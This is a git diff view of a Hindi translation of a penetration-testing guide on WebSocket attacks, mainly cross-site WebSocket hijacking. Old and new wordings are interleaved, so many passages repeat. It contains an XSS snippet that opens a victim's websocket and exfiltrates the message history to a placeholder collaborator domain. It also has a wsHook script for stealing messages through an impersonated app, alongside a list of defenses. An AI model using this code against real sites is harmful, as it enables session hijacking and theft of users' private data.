फिर, यदि **उदाहरण के लिए** **websocket** **सर्वर** **एक उपयोगकर्ता की बातचीत का इतिहास वापस भेजता है** यदि एक msg "**READY"** भेजा जाता है, तो एक **simple XSS** कनेक्शन स्थापित करने (क्योंकि **cookie** **स्वचालित रूप से** पीड़ित उपयोगकर्ता को अधिकृत करने के लिए **भेजी** जाएगी) **"READY"** भेजने से **बातचीत** का इतिहास **प्राप्त** कर सकेगा।
|
||||
यदि, उदाहरण के लिए, वह **websocket** **server** किसी user की बातचीत का इतिहास वापस भेजता है यदि उसे msg जिसमें "**READY**" हो भेजा जाए, तो एक साधारण **XSS** जो connection स्थापित करती है (cookie स्वचालित रूप से victim user को authorize करने के लिए भेजी जाएगी) और "**READY**" भेजती है, वह बातचीत का इतिहास retrieve कर पाएगी.:
|
||||
```html
|
||||
<script>
|
||||
websocket = new WebSocket('wss://your-websocket-URL')
|
||||
@ -124,11 +241,11 @@ fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
|
||||
```
|
||||
### Cross Origin + Cookie with a different subdomain
|
||||
|
||||
इस ब्लॉग पोस्ट में [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) हमलावर ने **एक उपडोमेन में मनमाना Javascript निष्पादित करने में सफल रहा** जहाँ वेब सॉकेट संचार हो रहा था। चूंकि यह **उपडोमेन** था, **कुकी** **भेजी जा रही थी**, और चूंकि **Websocket ने सही तरीके से Origin की जांच नहीं की**, इसलिए इसके साथ संवाद करना और **इससे टोकन चुराना** संभव था।
|
||||
इस ब्लॉग पोस्ट [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) attacker ने उस domain के उस हिस्से में जहाँ websocket communication हो रही थी, **execute arbitrary Javascript in a subdomain** करने में सफलता पाई। चूँकि यह एक **subdomain** था, **cookie** भेजा जा रहा था, और चूँकि **Websocket didn't check the Origin properly**, इसलिए इसके साथ communicate करना और इससे **steal tokens from it** संभव हो गया।
|
||||
|
||||
### Stealing data from user
|
||||
### उपयोगकर्ता से डेटा चुराना
|
||||
|
||||
वेब एप्लिकेशन की कॉपी करें जिसे आप अनुकरण करना चाहते हैं (उदाहरण के लिए .html फ़ाइलें) और उस स्क्रिप्ट के अंदर जहाँ वेब सॉकेट संचार हो रहा है, यह कोड जोड़ें:
|
||||
जिस web application को आप impersonate करना चाहते हैं उसकी कॉपी बनाएं (उदाहरण के लिए .html फाइलें) और उस script के अंदर जहाँ websocket communication हो रही है, यह code जोड़ें:
|
||||
```javascript
|
||||
//This is the script tag to load the websocket hooker
|
||||
;<script src="wsHook.js"></script>
|
||||
@ -148,43 +265,50 @@ xhttp.send()
|
||||
return messageEvent
|
||||
}
|
||||
```
|
||||
अब `wsHook.js` फ़ाइल को [https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook) से डाउनलोड करें और **इसे वेब फ़ाइलों के फ़ोल्डर के अंदर सहेजें**।\
|
||||
वेब एप्लिकेशन को उजागर करके और एक उपयोगकर्ता को इससे कनेक्ट करने पर, आप websocket के माध्यम से भेजे गए और प्राप्त संदेशों को चुरा सकेंगे:
|
||||
अब `wsHook.js` फाइल को [https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook) से डाउनलोड करें और **इसे वेब फाइलों वाले फ़ोल्डर के अंदर सेव करें**.\
|
||||
वेब एप्लिकेशन को एक्सपोज़ करके और किसी उपयोगकर्ता को उससे कनेक्ट करवा कर आप भेजे और प्राप्त किए गए संदेश websocket के माध्यम से चुरा पाएँगे:
|
||||
```javascript
|
||||
sudo python3 -m http.server 80
|
||||
```
|
||||
### CSWSH सुरक्षा
|
||||
|
||||
CSWSH हमला इस तथ्य पर आधारित है कि एक **उपयोगकर्ता एक दुर्भावनापूर्ण पृष्ठ से जुड़ेगा** जो **एक वेब्सोकट कनेक्शन** खोलेगा उस वेब पृष्ठ पर जहां उपयोगकर्ता पहले से ही जुड़ा हुआ है और उपयोगकर्ता के कुकीज़ भेजने के कारण उसे प्रमाणित करेगा।
|
||||
The CSWSH attack इस बात पर आधारित है कि एक **उपयोगकर्ता किसी malicious page से कनेक्ट करेगा** जो उस वेब पेज के लिए **एक websocket connection ओपन करेगा** जहाँ उपयोगकर्ता पहले से जुड़ा हुआ है और अनुरोध उसके उपयोगकर्ता के cookies भेजने के कारण उसके रूप में authenticate हो जाएगा।
|
||||
|
||||
आजकल, इस समस्या को रोकना बहुत आसान है:
|
||||
|
||||
- **वेब्सोकट सर्वर का मूल चेक करना**: वेब्सोकट सर्वर को हमेशा यह जांचना चाहिए कि उपयोगकर्ता कहां से जुड़ रहा है ताकि अप्रत्याशित पृष्ठों को इससे जुड़ने से रोका जा सके।
|
||||
- **प्रमाणन टोकन**: कुकी पर आधारित प्रमाणन के बजाय, वेब्सोकट कनेक्शन को एक टोकन पर आधारित किया जा सकता है जो सर्वर द्वारा हमलावर के लिए अज्ञात उपयोगकर्ता के लिए उत्पन्न किया गया है (जैसे एक एंटी-CSRF टोकन)
|
||||
- **SameSite कुकी विशेषता**: `SameSite` मान के साथ कुकीज़ `Lax` या `Strict` के रूप में बाहरी हमलावर के पृष्ठ से पीड़ित सर्वर पर नहीं भेजी जाएंगी, इसलिए, कुकी आधारित प्रमाणन सफल नहीं होगा। ध्यान दें कि Chrome अब इस ध्वज के बिना कुकीज़ को **`Lax`** मान देता है जिससे यह डिफ़ॉल्ट रूप से अधिक सुरक्षित हो जाता है। हालांकि, जब एक कुकी बनाई जाती है तो पहले 2 मिनट के लिए इसका मान **`None`** होगा जिससे यह उस सीमित समय के दौरान कमजोर हो जाती है (यह भी अपेक्षित है कि यह उपाय किसी बिंदु पर हटा दिया जाएगा)।
|
||||
- **Firefox कुल कुकी सुरक्षा**: कुल कुकी सुरक्षा कुकीज़ को उस साइट पर अलग करने का काम करती है जिसमें वे बनाई जाती हैं। मूल रूप से, प्रत्येक साइट के पास अपनी कुकी भंडारण विभाजन होती है ताकि तीसरे पक्ष उपयोगकर्ता के ब्राउज़िंग इतिहास को एक साथ लिंक न कर सकें। यह **CSWSH को अनुपयोगी** बना देता है क्योंकि हमलावर की साइट को कुकीज़ तक पहुंच नहीं होगी।
|
||||
- **Chrome तृतीय-पक्ष कुकीज़ अवरोध**: यह भी प्रमाणित उपयोगकर्ता की कुकी को वेब्सोकट सर्वर पर भेजने से रोक सकता है भले ही `SameSite=None` हो।
|
||||
- **Websocket server checking the origin**: Websocket server को हमेशा यह जाँचना चाहिए कि उपयोगकर्ता किस स्रोत से कनेक्ट कर रहा है ताकि अनपेक्षित पेज उसे कनेक्ट न कर सकें।
|
||||
- **Authentication token**: Cookie पर आधारित authentication के बजाय, websocket connection को ऐसे token पर आधारित किया जा सकता है जिसे सर्वर उपयोगकर्ता के लिए जनरेट करे और attacker के लिए अज्ञात हो (जैसे एक anti-CSRF token)।
|
||||
- **SameSite Cookie attribute**: `SameSite` मान `Lax` या `Strict` वाले cookies external attacker के पेज से victim सर्वर पर नहीं भेजे जायेंगे, इसलिए cookie आधारित authentication सफल नहीं होगी। ध्यान दें कि Chrome अब उन cookies को डिफ़ॉल्ट रूप से **`Lax`** मान देता है जिनमें यह flag निर्दिष्ट नहीं है, जिससे यह पहले से सुरक्षित है। हालाँकि, किसी cookie के बनाए जाने के पहले 2 मिनट के दौरान इसका मान **`None`** होगा, जिससे वह उस सीमित अवधि में कमजोर रहेगा (और अपेक्षित है कि यह उपाय किसी बिंदु पर हटा दिया जाएगा)।
|
||||
- **Firefox Total Cookie Protection**: Total Cookie Protection cookies को उसी साइट तक सीमित करके काम करता है जहाँ वे बनाए गए थे। मूलतः प्रत्येक साइट की अपनी cookie storage partition होती है ताकि third parties उपयोगकर्ता के ब्राउज़िंग इतिहास को लिंक न कर सकें। इससे attackers साइट को cookies तक पहुँच नहीं मिलने के कारण **CSWSH अनुपयोगी** हो जाता है।
|
||||
- **Chrome third-party cookies block**: यह भी authenticated उपयोगकर्ता के cookie को websocket server पर भेजे जाने से रोक सकता है भले ही `SameSite=None` हो।
|
||||
|
||||
## दौड़ की स्थितियाँ
|
||||
## Race Conditions
|
||||
|
||||
वेब्सोकट में दौड़ की स्थितियाँ भी एक चीज हैं, [इस जानकारी की जांच करें और अधिक जानें](race-condition.md#rc-in-websockets)।
|
||||
WebSockets में Race Conditions भी होते हैं, [अधिक जानने के लिए इस जानकारी को देखें](race-condition.md#rc-in-websockets).
|
||||
|
||||
## अन्य कमजोरियाँ
|
||||
|
||||
चूंकि वेब सॉकेट एक तंत्र हैं **डेटा को सर्वर साइड और क्लाइंट साइड भेजने के लिए**, यह इस पर निर्भर करता है कि सर्वर और क्लाइंट जानकारी को कैसे संभालते हैं, **वेब सॉकेट का उपयोग कई अन्य कमजोरियों जैसे XSS, SQLi या किसी अन्य सामान्य वेब कमजोरियों का शोषण करने के लिए किया जा सकता है जो एक वेब्सोकट से उपयोगकर्ता के इनपुट का उपयोग करते हैं।**
|
||||
चूँकि Web Sockets डेटा को सर्वर-साइड और क्लाइंट-साइड दोनों पर भेजने का एक मैकेनिज़्म हैं, सर्वर और क्लाइंट किस तरह जानकारी को हैंडल करते हैं उस पर निर्भर करते हुए, **Web Sockets का उपयोग कई अन्य कमजोरियों जैसे XSS, SQLi या किसी भी सामान्य वेब vuln को exploit करने के लिए किया जा सकता है यदि websocket से किसी उपयोगकर्ता का इनपुट सर्वर/क्लाइंट पर पहुँचता है।**
|
||||
|
||||
## **वेब्सोकट स्मगलिंग**
|
||||
|
||||
यह कमजोरी आपको **रिवर्स प्रॉक्सी प्रतिबंधों को बायपास करने** की अनुमति दे सकती है यह मानकर कि **वेब्सोकट संचार स्थापित किया गया था** (भले ही यह सच न हो)। यह एक हमलावर को **छिपे हुए एंडपॉइंट्स तक पहुंचने** की अनुमति दे सकता है। अधिक जानकारी के लिए निम्नलिखित पृष्ठ की जांच करें:
|
||||
## **WebSocket Smuggling**
|
||||
|
||||
यह vulnerability आपको reverse proxies restrictions को bypass करने की अनुमति दे सकती है, उन्हें यह विश्वास दिलाकर कि एक **websocket communication स्थापित हो गई थी** (भले ही ऐसा न हुआ हो)। इससे एक attacker को hidden endpoints तक पहुँचने की अनुमति मिल सकती है। अधिक जानकारी के लिए निम्न पेज देखें:
|
||||
|
||||
{{#ref}}
|
||||
h2c-smuggling.md
|
||||
{{#endref}}
|
||||
|
||||
## संदर्भ
|
||||
## References
|
||||
|
||||
- [https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages](https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages)
|
||||
- [https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/](https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/)
|
||||
- [WebSocket Turbo Intruder: Unearthing the WebSocket Goldmine](https://portswigger.net/research/websocket-turbo-intruder-unearthing-the-websocket-goldmine)
|
||||
- [WebSocket Turbo Intruder – BApp Store](https://portswigger.net/bappstore/ba292c5982ea426c95c9d7325d9a1066)
|
||||
- [WebSocketTurboIntruder – GitHub](https://github.com/d0ge/WebSocketTurboIntruder)
|
||||
- [Turbo Intruder background](https://portswigger.net/research/turbo-intruder-embracing-the-billion-request-attack)
|
||||
- [Server-side prototype pollution – safe detection methods](https://portswigger.net/research/server-side-prototype-pollution#safe-detection-methods-for-manual-testers)
|
||||
- [WS RaceCondition PoC (Java)](https://github.com/redrays-io/WS_RaceCondition_PoC)
|
||||
- [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py)
|
||||
- [PingOfDeathExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/PingOfDeathExample.py)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user